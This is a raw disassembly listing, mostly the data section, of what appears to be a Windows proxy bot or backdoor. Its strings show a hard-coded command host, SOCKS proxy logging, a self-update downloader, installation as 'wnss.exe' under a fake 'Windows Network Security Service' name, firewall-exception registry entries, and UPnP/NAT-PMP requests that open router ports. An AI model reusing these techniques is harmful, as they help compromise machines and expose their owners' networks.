; DMN1:00446ACFo
aConnectingToSI db 'connecting to %s:%i',0Ah,0 ; DATA XREF: sub_4042CD+4A3o
; DMN1:00446A91o
aSocksVIS db 'socks v%i [%s]',0Ah,0 ; DATA XREF: sub_4042CD+119o
; DMN1:00446707o
aConnectionReje db 'connection rejected (from [%s])',0Ah,0 ; DATA XREF: sub_4042CD+D8o
; DMN1:004466C6o
aConnectionFrom db 'connection from [%s]',0Ah,0 ; DATA XREF: sub_4042CD+62o
; DMN1:00446650o
a_win32__wnss_u db '_win32__wnss_um__',0 ; DATA XREF: sub_40410E+10o
; sub_44642F+10o
aSystem db 'SYSTEM',0 ; DATA XREF: sub_4040C3+31o
; sub_4463E4+31o
asc_40EADA db 0Dh,' ',0Dh,0 ; DATA XREF: sub_40400E+90o
; DMN1:004463BFo
aISecondsLeft_ db 0Dh,'%i seconds left ',8,8,8,'.',0 ; DATA XREF: sub_40400E+67o
; DMN1:00446396o
aSrvWaitingISec db 'Srv: waiting %i seconds...',0Ah,0 ; DATA XREF: sub_40400E+56o
; DMN1:00446385o
aSrvcommthreadD db 'SrvCommThread: done',0Ah,0 ; DATA XREF: sub_403C3F:loc_403FD3o
; DMN1:loc_4462F4o
; =============== S U B R O U T I N E =======================================
sub_40EB3C proc near ; DATA XREF: sub_403C3F+351o
; DMN1:004462B1o
; FUNCTION CHUNK AT 0040EBB7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EC21 SIZE 00000008 BYTES
push ebx
push edx
push esi
cmp ah, [eax]
jnb short loc_40EBB7
popa
jb short loc_40EBBA
imul ebp, [esi+67h], 64707520h
popa
jz short sub_40EBB5
jb short near ptr aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n"
db 2Eh
or al, cs:[eax]
sub_40EB3C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40EB56 proc near ; DATA XREF: sub_403C3F+2F5o
; DMN1:00446255o
push ebx
push edx
push esi
cmp ah, [eax]
push ebp
push eax
inc edi
push edx
inc ecx
inc esp
inc ebp
and ds:0A3E73h, bh
sub_40EB56 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
byte_40EB69 db 53h, 52h, 56h ; DATA XREF: sub_403C3F:loc_403EF0o
; DMN1:loc_446211o
dd 5049203Ah, 5453494Ch
db 0Ah, 0
word_40EB76 dw 5253h ; DATA XREF: sub_403C3F:loc_403EE0o
; DMN1:loc_446201o
dd 42203A56h, 0A4559h
aSrvAckReject_0 db 'SRV: ACK rejected IPs failed',0Ah,0 ; CODE XREF: sub_40EB3C+14j
; DATA XREF: sub_403C3F+252o ...
aSrvAckRejected db 'SRV: ACK rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+239o
; DMN1:00446199o
; =============== S U B R O U T I N E =======================================
sub_40EBB5 proc near ; CODE XREF: sub_40EB3C+12j
; DATA XREF: sub_403C3F+220o ...
push ebx
push edx
sub_40EBB5 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_40EB3C
loc_40EBB7: ; CODE XREF: sub_40EB3C+5j
push esi
cmp ah, [eax]
loc_40EBBA: ; CODE XREF: sub_40EB3C+8j
jnb short loc_40EC21
; END OF FUNCTION CHUNK FOR sub_40EB3C
outsb
imul ebp, fs:[esi+67h], 6A657220h
arpl gs:[ebp+64h], si
and [ecx+50h], cl
jnb short near ptr aSrvSendingReje+18h
popaw
; ---------------------------------------------------------------------------
db 69h, 6Ch, 65h
db 64h, 0Ah, 0
aSrvSendingReje db '* SRV: sending rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+1B5o
; DMN1:00446115o
aSrvAckHandshac db 'SRV: ACK handshacking failed',0Ah,0 ; DATA XREF: sub_403C3F+19Bo
; DMN1:004460FBo
word_40EC12 dw 5253h ; DATA XREF: sub_403C3F:loc_403DC1o
; DMN1:loc_4460E2o
dd 41203A56h, 68204B43h, 73646E61h
db 68h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40EB3C
loc_40EC21: ; CODE XREF: sub_40EB3C:loc_40EBBAj
popa
arpl [ebx+69h], bp
outsb
or al, [bx+si]
; END OF FUNCTION CHUNK FOR sub_40EB3C
; ---------------------------------------------------------------------------
aSrvHandshaking db 'SRV: handshaking failed.',0Ah,0 ; DATA XREF: sub_403C3F+172o
; DMN1:004460D2o
aSrvRip?I db 'SRV: rip? %i',0Ah,0 ; DATA XREF: sub_403C3F+141o
; DMN1:004460A1o
aSrvHandshaki_0 db 'SRV: handshaking...',0Ah,0 ; DATA XREF: sub_403C3F:loc_403D68o
; DMN1:loc_446089o
aSrvConnectingF db 'SRV: connecting failed.',0Ah,0 ; DATA XREF: sub_403C3F+119o
; DMN1:00446079o
aSrvConnecting_ db 'SRV: connecting...',0Ah,0 ; DATA XREF: sub_403C3F+F7o
; DMN1:00446057o
aSrvSI db 'SRV: [%s:%i]',0Ah,0 ; DATA XREF: sub_403C3F+CBo
; DMN1:0044602Bo
aMyPortI db 'my port [%i]',0Ah,0 ; DATA XREF: sub_403C3F+A8o
; DMN1:00446008o
aDep_mvl0an7_co db 'dep.mvl0an7.com',0 ; DATA XREF: sub_403C3F+2Bo
; DMN1:00445F8Bo
aAuthorizedIpIS db 'authorized IP #%i [%s]',0Ah,0 ; DATA XREF: sub_403B86+5Fo
; sub_445EA7+5Fo
aRunningSS___ db 'running %s (%s)...',0Dh,0Ah,0 ; DATA XREF: sub_40399A+14Fo
; DMN1:00445E0Ao
asc_40ECEC db '" "',0 ; DATA XREF: sub_40399A+10Co
; DMN1:00445DC7o
aUpdate db '*update "',0 ; DATA XREF: sub_40399A+E4o
; DMN1:00445D9Fo
aMsssx db 'msssx',0 ; DATA XREF: sub_40399A+A2o
; DMN1:00445D5Do
aDownloadedToS db 'downloaded to: <%s>',0Ah,0 ; DATA XREF: sub_40399A+7Bo
; DMN1:00445D36o
aMsss db 'msss',0 ; DATA XREF: sub_40399A+4Bo
; DMN1:00445D06o
aUpdateUrlS db 'UPDATE URL: <%s>',0Ah,0 ; DATA XREF: sub_40399A+24o
; DMN1:00445CDFo
aDownloadedSS db 'downloaded [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+14Bo
; sub_445B59+14Bo
aDownloadedFail db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+12Bo
; sub_445B59+12Bo
aDownloadingSS db 'downloading [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+AEo
; sub_445B59+AEo
aFopenS___ db 'fopen(%s)...',0Ah,0 ; DATA XREF: sub_403838+87o
; sub_445B59+87o
aWb_0 db 'wb',0 ; DATA XREF: sub_403838:loc_4038A7o
; sub_445B59:loc_445BC8o
aInternetopenur db 'InternetOpenUrl(): %i',0Ah,0 ; DATA XREF: sub_403838+51o
; sub_445B59+51o
aInternetopenI db 'InternetOpen(): %i',0Ah,0 ; DATA XREF: sub_403838+22o
; sub_445B59+22o
aMsdownloader db 'msdownloader',0 ; DATA XREF: sub_403838+14o
; sub_445B59+14o
asc_40EDC9 db ' ',0 ; DATA XREF: sub_403723+98o
; DMN0:00404D09o ...
aCWindowsSystem db 'C:\WINDOWS\system32\wnss.exe',0 ; DATA XREF: sub_403723:loc_40378Bo
; DMN0:loc_404CD9o ...
asc_40EDE8 db '"',0 ; DATA XREF: sub_403723+33o
; sub_403723+7Fo ...
a_win32__wnss_0 db '_win32__wnss_sm__',0 ; DATA XREF: DMN0:004036B2o
; sub_4036F6+4o ...
a_win32__wnss_s db '_win32__wnss_sdm__',0 ; DATA XREF: sub_403604+10o
; sub_403658+4o ...
aNatPmpReques_1 db 'NAT-PMP request #%i - port: [%i]',0Ah,0 ; DATA XREF: sub_403322+208o
; sub_445643+208o
aNatPmpFwdReque db 'NAT-PMP fwd request #%i - ok',0Ah,0 ; DATA XREF: sub_403322+1BCo
; sub_445643+1BCo
aReceivingNat_0 db 'receiving NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+171o
; sub_445643+171o
aSetsockoptNa_0 db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0
; DATA XREF: sub_403322+13Ao
; sub_445643+13Ao
aSendingNatPmpF db 'sending NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+C5o
; sub_445643+C5o
aRouterIpS db 'router ip: [%s]',0Ah,0 ; DATA XREF: sub_403322+49o
; sub_445643+49o
aNatPmpReques_0 db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0
; DATA XREF: sub_403113+1D5o
; sub_445434+1D5o
aNatPmpRequestI db 'NAT-PMP request #%i - ok',0Ah,0 ; DATA XREF: sub_403113+192o
; sub_445434+192o
aReceivingNatPm db 'receiving NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+14Ao
; sub_445434+14Ao
aSetsockoptNatP db 'setsockopt NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+113o
; sub_445434+113o
aSendingNatPmpR db 'sending NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+D6o
; sub_445434+D6o
aDefaultGateway db 'default gateway: [%s]',0Ah,0 ; DATA XREF: sub_403113+62o
; sub_445434+62o
aIupnpDiscove_4 db 'IUPnP discovery request #%i: ok.',0Ah,0 ; DATA XREF: sub_402B02+55Do
; sub_444E23+55Do
aControlurl db '<controlURL>',0 ; DATA XREF: sub_402B02:loc_402EFCo
; sub_444E23:loc_44521Do
aService db '</service>',0 ; DATA XREF: sub_402B02:loc_402ECFo
; sub_444E23:loc_4451F0o
aService_0 db '<service>',0 ; DATA XREF: sub_402B02:loc_402E9Bo
; sub_444E23:loc_4451BCo
aUrnSchemasUpnp db 'urn:schemas-upnp-org:service:WANIPConnection:1',0
; DATA XREF: sub_402B02:loc_402E62o
; sub_444E23:loc_445183o
aIupnpDiscove_3 db 'IUPnP discovery request #%i: bad (3)...',0Ah,0
; DATA XREF: sub_402B02+34Fo
; sub_444E23+34Fo
aLocationS db 'location: <%s>',0Ah,0 ; DATA XREF: sub_402B02+316o
; sub_444E23+316o
aIupnpDiscove_2 db 'IUPnP discovery request #%i: bad (2)...',0Ah,0
; DATA XREF: sub_402B02+2F5o
; sub_444E23+2F5o
aIupnpDiscove_1 db 'IUPnP discovery request #%i: bad (1)...',0Ah,0
; DATA XREF: sub_402B02+27Do
; sub_444E23+27Do
aLocation db 'location',0 ; DATA XREF: sub_402B02:loc_402D60o
; sub_444E23:loc_445081o
aIupnpDiscove_0 db 'IUPnP discovery request #%i: bad (0)...',0Ah,0
; DATA XREF: sub_402B02+24Do
; sub_444E23+24Do
aSchemasUpnpOrg db 'schemas-upnp-org:service:WANIPConnection:1',0
; DATA XREF: sub_402B02+230o
; sub_444E23+230o
aIupnpDiscovery db 'IUPnP discovery request #%i -- checking...',0Ah,0
; DATA XREF: sub_402B02+224o
; sub_444E23+224o
aReceivingIupnp db 'receiving IUPnP discovery request #%i...',0Ah,0
; DATA XREF: sub_402B02+1ACo
; sub_444E23+1ACo
aSetsockoptIupn db 'setsockopt IUPnP discovery request #%i...',0Ah,0
; DATA XREF: sub_402B02+164o
; sub_444E23+164o
aMSearchHttp1_1 db 'M-SEARCH * HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402B02+11Fo
; sub_402B02+136o ...
db 'Host: 239.255.255.250:1900',0Dh,0Ah
db 'ST: upnp:rootdevice',0Dh,0Ah
db 'Man: "ssdp:discover"',0Dh,0Ah
db 'MX: 3',0Dh,0Ah
db 0Dh,0Ah,0
aSendingIupnpDi db 'sending IUPnP discovery request #%i...',0Ah,0
; DATA XREF: sub_402B02+113o
; sub_444E23+113o
aXbind___ db 'xbind...',0Ah,0 ; DATA XREF: sub_402B02+F3o
; sub_444E23+F3o
aShit db 'shit!',0Ah,0 ; DATA XREF: sub_402B02+BFo
; sub_444E23+BFo
a239_255_255_25 db '239.255.255.250',0 ; DATA XREF: sub_402B02+45o
; sub_402B02+92o ...
aHttpAddmapRe_1 db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0
; DATA XREF: sub_402896+235o
; sub_444BB7+235o
aHttpAddmapRe_0 db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0
; DATA XREF: sub_402896+196o
; sub_444BB7+196o
aHttpAddmapRequ db 'HTTP AddMap request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_402896+B0o
; sub_444BB7+B0o
aPostSHttp1_1Ho db 'POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+7Fo
; sub_444BB7+7Fo
db 'HOST: %s:%i',0Dh,0Ah
db 'CONTENT-LENGTH: %i',0Dh,0Ah
db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
db 'rtMapping"',0Dh,0Ah
db 0Dh,0Ah,0
aMPostSHttp1_1H db 'M-POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+58o
; sub_444BB7+58o
db 'HOST: %s:%i',0Dh,0Ah
db 'CONTENT-LENGTH: %i',0Dh,0Ah
db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
db 'rtMapping"',0Dh,0Ah
db 0Dh,0Ah,0
aSEnvelopeXmlns db '<s:Envelope',0Dh,0Ah ; DATA XREF: sub_402896+1Ao
; sub_444BB7+1Ao
db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah
db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah
db '<s:Body>',0Dh,0Ah
db '<u:AddPortMapping',0Dh,0Ah
db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah
db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah
db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah
db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah
db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah
db '<NewEnabled>1</NewEnabled>',0Dh,0Ah
db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri'
db 'ption>',0Dh,0Ah
db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah
db '</u:AddPortMapping>',0Dh,0Ah
db '</s:Body>',0Dh,0Ah
db '</s:Envelope>',0
a200 db '200',0 ; DATA XREF: sub_4025A9:loc_402838o
; sub_4448CA:loc_444B59o
asc_40F612 db 0Ah,0 ; DATA XREF: sub_4025A9:loc_402809o
; sub_402896:loc_402A56o ...
aHttpDiscover_0 db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0
; DATA XREF: sub_4025A9+234o
; sub_4448CA+234o
aGetSHttp1_1Hos db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_4025A9+173o
; sub_4448CA+173o
db 'HOST: %s:%i',0Dh,0Ah
db 'ACCEPT-LANGUAGE: en',0Dh,0Ah
db 0Dh,0Ah,0
aHttpDiscoveryR db 'HTTP discovery request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_4025A9+10Ao
; sub_4448CA+10Ao
aHttp db 'http://',0 ; DATA XREF: sub_4025A9+25o
; sub_402B02+4A1o ...
a_ db '.',0 ; DATA XREF: sub_402562:loc_402584o
; sub_444883:loc_4448A5o
a6ea9b038C8014f db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0 ; DATA XREF: sub_4023DC+7o
; sub_402449+5o ...
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
; DATA XREF: sub_402296+8Eo
; DMN0:00402373o ...
db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
aWindowsNetwork db 'Windows Network Security Service',0 ; DATA XREF: sub_402296+6Do
; sub_404FE9+42o ...
aEnabled db ':*:Enabled:',0 ; DATA XREF: sub_402296+5Ao
; sub_4058BE+28o ...
aHandshakeBadVe db 'Handshake: bad version (%i)',0Ah,0 ; DATA XREF: DMN0:00401E88o
; DMN1:004441A9o
aHandshakeBadPa db 'Handshake: bad packed (%i)',0Ah,0 ; DATA XREF: DMN0:00401E68o
; DMN1:00444189o ...
aHandshakeRecvE db 'Handshake: recv() error',0Ah,0 ; DATA XREF: DMN0:00401E53o
; DMN1:00444174o
aProtorecvDataS db 'protorecv(): data size: %i (of %i)',0Ah,0 ; DATA XREF: sub_401BAC+12Do
; sub_443ECD+12Do ...
aPktrecvPacketi db 'PktRecv(): packetId: 0x%03x',0Ah,0 ; DATA XREF: sub_401BAC+DEo
; sub_443ECD+DEo
aPktrecvInvalid db 'PktRecv(): invalid signature (%i)',0Ah,0 ; DATA XREF: sub_401BAC+86o
; sub_443ECD+86o
aPktsendIIBytes db 'PktSend(%i): %i bytes',0Ah,0 ; DATA XREF: sub_401ADA+68o
; sub_443DFB+68o
aSIsS db '%s is %s',0Ah,0 ; DATA XREF: DMN0:004018A6o
; DMN1:00443BC7o
aWinsock2_xInit db 'WinSock 2.x initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40133Co
; sub_44360D:loc_44365Do ...
aWinsock1_1Init db 'WinSock 1.1 initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40132Fo
; sub_44360D:loc_443650o
aA db 'a',0 ; DATA XREF: DMN0:004011E9o
; DMN1:0044350Ao
aPm db 'PM',0 ; DATA XREF: DMN0:loc_401190o
; DMN1:loc_4434B1o
aAm db 'AM',0 ; DATA XREF: DMN0:00401189o
; DMN1:004434AAo
a02i02i02iIIIS db '%02i/%02i/%02i %i:%i:%i%s',0 ; DATA XREF: DMN0:004011C4o
; DMN1:004434E5o ...
aS_0 db '%s',0 ; DATA XREF: DMN0:0040112Bo
; DMN0:00401147o ...
align 4
dword_40F8A4 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4071B0+5o
; sub_4494D1+5o
dd offset sub_40721A
dword_40F8B0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4073C0+5o
; sub_4496E1+5o
dd offset sub_40741B
dword_40F8BC dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4074C0+5o
; sub_4497E1+5o
dd offset sub_40751E
dword_40F8C8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_407620+5o
; sub_449941+5o
dd offset sub_40766D
dword_40F8D4 dd 0FFFFFFFFh, 407988h, 4079A3h ; DATA XREF: sub_407930+5o
; DMN1:00449C56o
dword_40F8E0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_407AA0+5o
; sub_449DC1+5o
dd offset sub_407B1D
dword_40F8EC dd 0FFFFFFFFh, 407C45h, 407C60h, 4000h ; DATA XREF: sub_407B60+5o
; DMN1:00449E86o
dword_40F8FC dd 0FFFFFFFFh, 0 ; DATA XREF: sub_408260+5o
; sub_44A581+5o
dd offset sub_4082BE
dd offset loc_4083EC
dd offset loc_4083A2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
off_40F92C dd offset loc_4083DF ; DATA XREF: sub_408300+2Er
; sub_44A621+2Er
dd offset loc_4083A2
dd offset loc_4083B2
dd offset loc_4083B2
dd offset loc_408420
dd offset loc_4083D2
dd offset loc_4083F9
; ---------------------------------------------------------------------------
retn 4083h
; ---------------------------------------------------------------------------
align 4
retn 4083h
; ---------------------------------------------------------------------------
align 10h
retn 4083h
; ---------------------------------------------------------------------------
align 4
dd offset loc_4083A2
dd offset loc_408413
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083B2
dd offset loc_4083D2
dd offset loc_408447
dd offset loc_4083B2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083D2
dd offset loc_4083A2
dd offset loc_4083D2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083B2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083D2
dd offset loc_4083A2
dd offset loc_4083B2
dd offset loc_4083D2
dd offset loc_40843A
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_40842D
dd offset loc_4083A2
dd offset loc_4083F9
dd offset loc_408406
dd offset loc_408406
dd offset loc_4083F9
dd offset loc_4083A2
dd offset loc_4083D2
dd offset loc_4083EC
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_408413
dd offset loc_408413
dd offset loc_408413
dd offset loc_408413
dd offset loc_408413
dd offset loc_408413
dd offset loc_408413
dd offset loc_408413
dd offset loc_408413
dd offset loc_408413
dd offset loc_408413
dd offset loc_408413
dd offset loc_408413
dd offset loc_408413
dd offset loc_408413
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083B2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083A2
dd offset loc_4083DF
dword_40FAF0 dd 232D2B20h, 30h ; DATA XREF: sub_4088A0+E4o
; sub_4088A0+FDo ...
dword_40FAF8 dd 1, 2, 4, 8, 10h, 0 ; DATA XREF: sub_4088A0+EDr
; sub_44ABC1+EDr
aHjltzl db 'hjltzL',0 ; DATA XREF: sub_4088A0+1CDo
; sub_44ABC1+1CDo
align 4
aConin db 'CONIN$',0 ; DATA XREF: DMN0:00408B6Eo
; DMN1:0044AE8Fo
aConout db 'CONOUT$',0 ; DATA XREF: sub_408B20+1Eo
; sub_44AE41+1Eo
align 4
dword_40FB28 dd 0 ; DATA XREF: sub_408BE0+24o
; sub_44AF01+24o
dd 0FFFFFFFFh, 11h dup(0)
dword_40FB74 dd 0 ; DATA XREF: DMN0:off_411894o
dword_40FB78 dd 0 ; DATA XREF: sub_409A10+36r
; sub_409A10+18Br ...
dword_40FB7C dd 0 ; DATA XREF: sub_409A10+3Cr
; sub_409A10+191r ...
db 2 dup(0)
word_40FB82 dw 200h ; DATA XREF: DMN0:off_411898o
dd 4 dup(100010h), 300130h, 300030h, 100030h, 8 dup(100010h)
dd 400010h, 7 dup(800080h), 30080h, 4 dup(30003h), 800003h
dd 3 dup(800080h), 3 dup(0A000Ah), 3 dup(80008h)
dword_40FC1C dd 80008h ; DATA XREF: sub_409CF0+55r
; sub_44C011+55r
aAaaaaa:
dw 8
dw 8
dw 8
dw 8
dw 8
dw 8
dw 8
dw 8
dw 8
dw 8
dw 8
dw 8
unicode 0, <>
dd 3 dup(60006h), 0Ah dup(40004h), 2 dup(800080h)
dword_40FC80 dd 10h, 40h dup(0) ; DATA XREF: sub_409CF0+18r
; sub_44C011+18r
dd offset loc_40A0C7
dd offset loc_40A3F7
dd offset loc_40A3F7
dd offset loc_40A3F7
dd offset loc_40A0C7
dd offset loc_40A0C7
dd offset loc_40A0C7
dd offset loc_40A0C7
dd offset loc_40A3F7
dd offset loc_409D4C
dd offset loc_409DBB
dd offset loc_40A0C7
dd offset loc_40A0C7
dd offset loc_40A0C7
dd offset loc_40A3F7
dd offset loc_409DBB
dd offset loc_40A3F7
dd offset loc_40A3F7
dd offset loc_40A3F7
dd offset loc_40A3F7
dd offset loc_40A189
dd offset loc_409F53
dd offset loc_40A2C1
dd offset loc_40A3F7
dd offset loc_40A3F7
dd offset loc_40A31F
dd offset loc_40A3F7
dd offset loc_409F53
dd offset loc_40A3F7
dd offset loc_40A3F7
dd offset loc_409F53
dword_40FE00 dd 6C756E28h, 296Ch ; DATA XREF: sub_409CF0+661o
; sub_44C011+661o
asc_40FE08 db ' ',0 ; DATA XREF: sub_40A430+54o
; sub_40A430+23Do ...
a00000000000000 db '00000000000000000000000000000000',0 ; DATA XREF: sub_40A430+D8o
; sub_40A430+15Co ...
align 4
dword_40FE4C dd 0 ; DATA XREF: sub_40A6A0+Dr
; sub_44C9C1+Dr
dd 0
dd 1, 2
db 2 dup(0)
word_40FE5E dw 0E000h ; DATA XREF: DMN0:004118A4o
; DMN0:004118E4o ...
dd 0E002E001h, 0E004E003h, 0E006E005h, 0E008E007h, 0E00AE009h
dd 0E00CE00Bh, 0E00EE00Dh, 0E010E00Fh, 0E012E011h, 0E014E013h
dd 0E016E015h, 0E018E017h, 0E01AE019h, 0E01CE01Bh, 0E01EE01Dh
dd 0E020E01Fh, 0E022E021h, 0E024E023h, 0E026E025h, 0E028E027h
dd 0E02AE029h, 0E02CE02Bh, 0E02EE02Dh, 0E030E02Fh, 0E032E031h
dd 0E034E033h, 0E036E035h, 0E038E037h, 0E03AE039h, 0E03CE03Bh
dd 0E03EE03Dh, 0E040E03Fh, 0E042E041h, 0E044E043h, 0E046E045h
dd 0E048E047h, 0E04AE049h, 0E04CE04Bh, 0E04EE04Dh, 0E050E04Fh
dd 0E052E051h, 0E054E053h, 0E056E055h, 0E058E057h, 0E05AE059h
dd 0E05CE05Bh, 0E05EE05Dh, 0E060E05Fh, 0E062E061h, 0E064E063h
dd 0E066E065h, 0E068E067h, 0E06AE069h, 0E06CE06Bh, 0E06EE06Dh
dd 0E070E06Fh, 0E072E071h, 0E074E073h, 0E076E075h, 0E078E077h
dd 0E07AE079h, 0E07CE07Bh, 0E07EE07Dh, 0E080E07Fh, 0E082E081h
dd 0E084E083h, 0E086E085h, 0E088E087h, 0E08AE089h, 0E08CE08Bh
dd 0E08EE08Dh, 0E090E08Fh, 0E092E091h, 0E094E093h, 0E096E095h
dd 0E098E097h, 0E09AE099h, 0E09CE09Bh, 0E09EE09Dh, 0E0A0E09Fh
dd 0E0A2E0A1h, 0E0A4E0A3h, 0E0A6E0A5h, 0E0A8E0A7h, 0E0AAE0A9h
dd 0E0ACE0ABh, 0E0AEE0ADh, 0E0B0E0AFh, 0E0B2E0B1h, 0E0B4E0B3h
dd 0E0B6E0B5h, 0E0B8E0B7h, 0E0BAE0B9h, 0E0BCE0BBh, 0E0BEE0BDh
dd 0E0C0E0BFh, 0E0C2E0C1h, 0E0C4E0C3h, 0E0C6E0C5h, 0E0C8E0C7h
dd 0E0CAE0C9h, 0E0CCE0CBh, 0E0CEE0CDh, 0E0D0E0CFh, 0E0D2E0D1h
dd 0E0D4E0D3h, 0E0D6E0D5h, 0E0D8E0D7h, 0E0DAE0D9h, 0E0DCE0DBh
dd 0E0DEE0DDh, 0E0E0E0DFh, 0E0E2E0E1h, 0E0E4E0E3h, 0E0E6E0E5h
dd 0E0E8E0E7h, 0E0EAE0E9h, 0E0ECE0EBh, 0E0EEE0EDh, 0E0F0E0EFh
dd 0E0F2E0F1h, 0E0F4E0F3h, 0E0F6E0F5h, 0E0F8E0F7h, 0E0FAE0F9h
dd 0E0FCE0FBh, 0E0FEE0FDh, 0E0FFh
aNull: ; DATA XREF: sub_40AF70+81o
; sub_44D291+81o
unicode 0, <(null)>,0
align 10h
a0123456789ab_0 db '0123456789abcdef',0 ; DATA XREF: sub_40B0C0:loc_40B0D8o
; sub_44D3E1:loc_44D3F9o
a0123456789abcd db '0123456789ABCDEF',0 ; DATA XREF: sub_40B0C0+Fo
; sub_44D3E1+Fo
align 4
dbl_410094 dq 1.0e1 ; DATA XREF: sub_40B310+3E4r
; sub_40B310+42Dr ...
dd 0
dd 40590000h, 0
dd 40C38800h, 0
dd 4197D784h, 37E08000h, 4341C379h, 0B5056E17h, 4693B8B5h
dd 0E93FF9F5h, 4D384F03h, 0F9301D32h, 5A827748h, 7F73BF3Ch
dd 75154FDDh
dbl_4100DC dq 1.0e8 ; DATA XREF: sub_40B310+4B5r
; sub_44D631+4B5r
dbl_4100E4 dq 1.0 ; DATA XREF: sub_40B310+403r
; sub_44D631+403r
dbl_4100EC dq 0.0 ; DATA XREF: sub_40B310+1BCr
; sub_40B310+28Ar ...
a0123456789ab_2 db '0123456789ABCDEF',0 ; DATA XREF: sub_40B310:loc_40B494o
; sub_44D631:loc_44D7B5o
a0123456789ab_1 db '0123456789abcdef',0 ; DATA XREF: sub_40B310+17Bo
; sub_44D631+17Bo
off_410116 dd offset byte_464E49 ; DATA XREF: sub_40B310:loc_40B3FCo
; sub_44D631:loc_44D71Do
word_41011A dw 6E69h ; DATA XREF: sub_40B310:loc_40B3F3o
; sub_44D631:loc_44D714o
db 66h, 0
word_41011E dw 414Eh ; DATA XREF: sub_40B310:loc_40B3AAo
; sub_44D631:loc_44D6CBo
byte_410120 db 4Eh, 0 ; DATA XREF: sub_40BD80+5Br
; sub_44E0A1+5Br
word_410122 dw 616Eh ; DATA XREF: sub_40B310:loc_40B3A1o
dd 6Eh, 40BE08h, 40BE23h, 40BDFFh, 40BE23h, 40BDEAh, 40BE23h
dd 40BDF6h, 2 dup(40BE23h), 40BE11h
aTerminating db ' -- terminating',0Ah,0 ; DATA XREF: sub_40BD80+10Do
; sub_44E0A1+10Do
aSignal db 'signal #',0 ; DATA XREF: sub_40BD80+EAo
; sub_44E0A1+EAo
